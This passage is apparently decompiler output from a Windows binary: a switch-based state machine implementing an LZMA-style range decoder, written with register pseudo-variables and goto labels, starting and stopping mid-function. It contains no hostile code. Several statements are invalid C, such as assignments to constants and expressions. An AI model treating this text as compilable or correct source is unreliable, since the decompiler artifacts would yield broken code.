                                                                                    											 *(_t613 - 8) = _t534;
                                                                                    											if(_t534 == 0) {
                                                                                    												goto L171;
                                                                                    											} else {
                                                                                    												goto L20;
                                                                                    											}
                                                                                    										case 2:
                                                                                    											L24:
                                                                                    											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                                                    											 *(_t613 - 0x84) = 6;
                                                                                    											 *(_t613 - 0x4c) = _t553;
                                                                                    											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                                                                    											 *(_t613 - 0x54) = _t606;
                                                                                    											goto L133;
                                                                                    										case 3:
                                                                                    											L21:
                                                                                    											__eflags =  *(_t613 - 0x6c);
                                                                                    											if( *(_t613 - 0x6c) == 0) {
                                                                                    												 *(_t613 - 0x88) = 3;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                    											_t67 = _t613 - 0x70;
                                                                                    											 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                                                    											__eflags =  *_t67;
                                                                                    											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                    											L23:
                                                                                    											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                                                    											if( *(_t613 - 0x48) != 0) {
                                                                                    												goto L21;
                                                                                    											}
                                                                                    											goto L24;
                                                                                    										case 4:
                                                                                    											L133:
                                                                                    											_t531 =  *_t606;
                                                                                    											_t589 = _t531 & 0x0000ffff;
                                                                                    											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                    											if( *(_t613 - 0xc) >= _t565) {
                                                                                    												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                    												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                    												 *(_t613 - 0x40) = 1;
                                                                                    												_t532 = _t531 - (_t531 >> 5);
                                                                                    												 *_t606 = _t532;
                                                                                    											} else {
                                                                                    												 *(_t613 - 0x10) = _t565;
                                                                                    												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                    												 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                    											}
                                                                                    											if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                    												goto L139;
                                                                                    											}
                                                                                    										case 5:
                                                                                    											goto L137;
                                                                                    										case 6:
                                                                                    											__edx = 0;
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x34) = 1;
                                                                                    												 *(__ebp - 0x84) = 7;
                                                                                    												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                    												while(1) {
                                                                                    													 *(_t613 - 0x54) = _t606;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                    											__esi =  *(__ebp - 0x60);
                                                                                    											__cl = 8;
                                                                                    											__cl = 8 -  *(__ebp - 0x3c);
                                                                                    											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                    											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                    											__ecx =  *(__ebp - 0x3c);
                                                                                    											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                    											__ecx =  *(__ebp - 4);
                                                                                    											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                    											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                    											__eflags =  *(__ebp - 0x38) - 4;
                                                                                    											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    											if( *(__ebp - 0x38) >= 4) {
                                                                                    												__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                    												if( *(__ebp - 0x38) >= 0xa) {
                                                                                    													_t98 = __ebp - 0x38;
                                                                                    													 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                    													__eflags =  *_t98;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                    												}
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x38) = 0;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x34) - __edx;
                                                                                    											if( *(__ebp - 0x34) == __edx) {
                                                                                    												__ebx = 0;
                                                                                    												__ebx = 1;
                                                                                    												goto L61;
                                                                                    											} else {
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                                                    													__eflags = __eax;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 8);
                                                                                    												__ebx = 0;
                                                                                    												__ebx = 1;
                                                                                    												__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                    												goto L41;
                                                                                    											}
                                                                                    										case 7:
                                                                                    											__eflags =  *(__ebp - 0x40) - 1;
                                                                                    											if( *(__ebp - 0x40) != 1) {
                                                                                    												__eax =  *(__ebp - 0x24);
                                                                                    												 *(__ebp - 0x80) = 0x16;
                                                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    												__eax =  *(__ebp - 0x28);
                                                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    												__eax = 0;
                                                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    												__al = __al & 0x000000fd;
                                                                                    												__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__eax =  *(__ebp - 4) + 0x664;
                                                                                    												__eflags = __eax;
                                                                                    												 *(__ebp - 0x58) = __eax;
                                                                                    												goto L69;
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 4);
                                                                                    											__ecx =  *(__ebp - 0x38);
                                                                                    											 *(__ebp - 0x84) = 8;
                                                                                    											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                    											while(1) {
                                                                                    												 *(_t613 - 0x54) = _t606;
                                                                                    												goto L133;
                                                                                    											}
                                                                                    										case 8:
                                                                                    											goto L0;
                                                                                    										case 9:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												goto L89;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x60);
                                                                                    											if( *(__ebp - 0x60) == 0) {
                                                                                    												goto L171;
                                                                                    											}
                                                                                    											__eax = 0;
                                                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                                                    											_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                    											__eflags = _t258;
                                                                                    											0 | _t258 = _t258 + _t258 + 9;
                                                                                    											 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                    											goto L75;
                                                                                    										case 0xa:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x84) = 0xb;
                                                                                    												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                    												while(1) {
                                                                                    													 *(_t613 - 0x54) = _t606;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x28);
                                                                                    											goto L88;
                                                                                    										case 0xb:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__ecx =  *(__ebp - 0x24);
                                                                                    												__eax =  *(__ebp - 0x20);
                                                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    											} else {
                                                                                    												__eax =  *(__ebp - 0x24);
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x28);
                                                                                    											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    											L88:
                                                                                    											__ecx =  *(__ebp - 0x2c);
                                                                                    											 *(__ebp - 0x2c) = __eax;
                                                                                    											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    											L89:
                                                                                    											__eax =  *(__ebp - 4);
                                                                                    											 *(__ebp - 0x80) = 0x15;
                                                                                    											__eax =  *(__ebp - 4) + 0xa68;
                                                                                    											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                    											goto L69;
                                                                                    										case 0xc:
                                                                                    											L99:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xc;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t334 = __ebp - 0x70;
                                                                                    											 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t334;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											__eax =  *(__ebp - 0x2c);
                                                                                    											goto L101;
                                                                                    										case 0xd:
                                                                                    											L37:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xd;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t122 = __ebp - 0x70;
                                                                                    											 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t122;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L39:
                                                                                    											__eax =  *(__ebp - 0x40);
                                                                                    											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                    												goto L48;
                                                                                    											}
                                                                                    											__eflags = __ebx - 0x100;
                                                                                    											if(__ebx >= 0x100) {
                                                                                    												goto L54;
                                                                                    											}
                                                                                    											L41:
                                                                                    											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                    											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                    											 *(__ebp - 0x48) = __eax;
                                                                                    											__eax = __eax + 1;
                                                                                    											__eax = __eax << 8;
                                                                                    											__eax = __eax + __ebx;
                                                                                    											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    											__ax =  *__esi;
                                                                                    											 *(__ebp - 0x54) = __esi;
                                                                                    											__edx = __ax & 0x0000ffff;
                                                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    												__cx = __ax;
                                                                                    												 *(__ebp - 0x40) = 1;
                                                                                    												__cx = __ax >> 5;
                                                                                    												__eflags = __eax;
                                                                                    												__ebx = __ebx + __ebx + 1;
                                                                                    												 *__esi = __ax;
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                    												 *(__ebp - 0x10) = __ecx;
                                                                                    												0x800 = 0x800 - __edx;
                                                                                    												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *__esi = __cx;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    											 *(__ebp - 0x44) = __ebx;
                                                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    												goto L39;
                                                                                    											} else {
                                                                                    												goto L37;
                                                                                    											}
                                                                                    										case 0xe:
                                                                                    											L46:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xe;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t156 = __ebp - 0x70;
                                                                                    											 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t156;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											while(1) {
                                                                                    												L48:
                                                                                    												__eflags = __ebx - 0x100;
                                                                                    												if(__ebx >= 0x100) {
                                                                                    													break;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												__edx = __ebx + __ebx;
                                                                                    												__ecx =  *(__ebp - 0x10);
                                                                                    												__esi = __edx + __eax;
                                                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__ax =  *__esi;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__edi = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													_t170 = __edx + 1; // 0x1
                                                                                    													__ebx = _t170;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eflags = __eax;
                                                                                    													 *__esi = __ax;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edi;
                                                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													continue;
                                                                                    												} else {
                                                                                    													goto L46;
                                                                                    												}
                                                                                    											}
                                                                                    											L54:
                                                                                    											_t173 = __ebp - 0x34;
                                                                                    											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                    											__eflags =  *_t173;
                                                                                    											goto L55;
                                                                                    										case 0xf:
                                                                                    											L58:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xf;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t203 = __ebp - 0x70;
                                                                                    											 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t203;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L60:
                                                                                    											__eflags = __ebx - 0x100;
                                                                                    											if(__ebx >= 0x100) {
                                                                                    												L55:
                                                                                    												__al =  *(__ebp - 0x44);
                                                                                    												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                    												goto L56;
                                                                                    											}
                                                                                    											L61:
                                                                                    											__eax =  *(__ebp - 0x58);
                                                                                    											__edx = __ebx + __ebx;
                                                                                    											__ecx =  *(__ebp - 0x10);
                                                                                    											__esi = __edx + __eax;
                                                                                    											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    											__ax =  *__esi;
                                                                                    											 *(__ebp - 0x54) = __esi;
                                                                                    											__edi = __ax & 0x0000ffff;
                                                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    												__cx = __ax;
                                                                                    												_t217 = __edx + 1; // 0x1
                                                                                    												__ebx = _t217;
                                                                                    												__cx = __ax >> 5;
                                                                                    												__eflags = __eax;
                                                                                    												 *__esi = __ax;
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x10) = __ecx;
                                                                                    												0x800 = 0x800 - __edi;
                                                                                    												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *__esi = __cx;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    											 *(__ebp - 0x44) = __ebx;
                                                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    												goto L60;
                                                                                    											} else {
                                                                                    												goto L58;
                                                                                    											}
                                                                                    										case 0x10:
                                                                                    											L109:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0x10;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t365 = __ebp - 0x70;
                                                                                    											 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t365;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											goto L111;
                                                                                    										case 0x11:
                                                                                    											L69:
                                                                                    											__esi =  *(__ebp - 0x58);
                                                                                    											 *(__ebp - 0x84) = 0x12;
                                                                                    											while(1) {
                                                                                    												 *(_t613 - 0x54) = _t606;
                                                                                    												goto L133;
                                                                                    											}
                                                                                    										case 0x12:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												 *(__ebp - 0x84) = 0x13;
                                                                                    												__esi =  *(__ebp - 0x58) + 2;
                                                                                    												while(1) {
                                                                                    													 *(_t613 - 0x54) = _t606;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x4c);
                                                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                                                    											__eflags = __eax;
                                                                                    											__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                    											goto L130;
                                                                                    										case 0x13:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												_t469 = __ebp - 0x58;
                                                                                    												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                    												__eflags =  *_t469;
                                                                                    												 *(__ebp - 0x30) = 0x10;
                                                                                    												 *(__ebp - 0x40) = 8;
                                                                                    												L144:
                                                                                    												 *(__ebp - 0x7c) = 0x14;
                                                                                    												goto L145;
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x4c);
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                                                    											 *(__ebp - 0x30) = 8;
                                                                                    											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                    											L130:
                                                                                    											 *(__ebp - 0x58) = __eax;
                                                                                    											 *(__ebp - 0x40) = 3;
                                                                                    											goto L144;
                                                                                    										case 0x14:
                                                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                    											__eax =  *(__ebp - 0x80);
                                                                                    											 *(_t613 - 0x88) = _t533;
                                                                                    											goto L1;
                                                                                    										case 0x15:
                                                                                    											__eax = 0;
                                                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                                                    											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    											__al = __al & 0x000000fd;
                                                                                    											__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                    											goto L120;
                                                                                    										case 0x16:
                                                                                    											__eax =  *(__ebp - 0x30);
                                                                                    											__eflags = __eax - 4;
                                                                                    											if(__eax >= 4) {
                                                                                    												_push(3);
                                                                                    												_pop(__eax);
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 4);
                                                                                    											 *(__ebp - 0x40) = 6;
                                                                                    											__eax = __eax << 7;
                                                                                    											 *(__ebp - 0x7c) = 0x19;
                                                                                    											 *(__ebp - 0x58) = __eax;
                                                                                    											goto L145;
                                                                                    										case 0x17:
                                                                                    											L145:
                                                                                    											__eax =  *(__ebp - 0x40);
                                                                                    											 *(__ebp - 0x50) = 1;
                                                                                    											 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                    											goto L149;
                                                                                    										case 0x18:
                                                                                    											L146:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0x18;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t484 = __ebp - 0x70;
                                                                                    											 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t484;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L148:
                                                                                    											_t487 = __ebp - 0x48;
                                                                                    											 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                    											__eflags =  *_t487;
                                                                                    											L149:
                                                                                    											__eflags =  *(__ebp - 0x48);
                                                                                    											if( *(__ebp - 0x48) <= 0) {
                                                                                    												__ecx =  *(__ebp - 0x40);
                                                                                    												__ebx =  *(__ebp - 0x50);
                                                                                    												0 = 1;
                                                                                    												__eax = 1 << __cl;
                                                                                    												__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                    												__eax =  *(__ebp - 0x7c);
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												while(1) {
                                                                                    													 *(_t613 - 0x88) = _t533;
                                                                                    													goto L1;
                                                                                    												}
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x50);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    											__eax =  *(__ebp - 0x58);
                                                                                    											__esi = __edx + __eax;
                                                                                    											 *(__ebp - 0x54) = __esi;
                                                                                    											__ax =  *__esi;
                                                                                    											__edi = __ax & 0x0000ffff;
                                                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    												__cx = __ax;
                                                                                    												__cx = __ax >> 5;
                                                                                    												__eax = __eax - __ecx;
                                                                                    												__edx = __edx + 1;
                                                                                    												__eflags = __edx;
                                                                                    												 *__esi = __ax;
                                                                                    												 *(__ebp - 0x50) = __edx;
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x10) = __ecx;
                                                                                    												0x800 = 0x800 - __edi;
                                                                                    												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    												 *__esi = __cx;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    												goto L148;
                                                                                    											} else {
                                                                                    												goto L146;
                                                                                    											}
                                                                                    										case 0x19:
                                                                                    											__eflags = __ebx - 4;
                                                                                    											if(__ebx < 4) {
                                                                                    												 *(__ebp - 0x2c) = __ebx;
                                                                                    												L119:
                                                                                    												_t393 = __ebp - 0x2c;
                                                                                    												 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                    												__eflags =  *_t393;
                                                                                    												L120:
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax;
                                                                                    												if(__eax == 0) {
                                                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__eflags = __eax -  *(__ebp - 0x60);
                                                                                    												if(__eax >  *(__ebp - 0x60)) {
                                                                                    													goto L171;
                                                                                    												}
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                    												__eax =  *(__ebp - 0x30);
                                                                                    												_t400 = __ebp - 0x60;
                                                                                    												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                    												__eflags =  *_t400;
                                                                                    												goto L123;
                                                                                    											}
                                                                                    											__ecx = __ebx;
                                                                                    											__eax = __ebx;
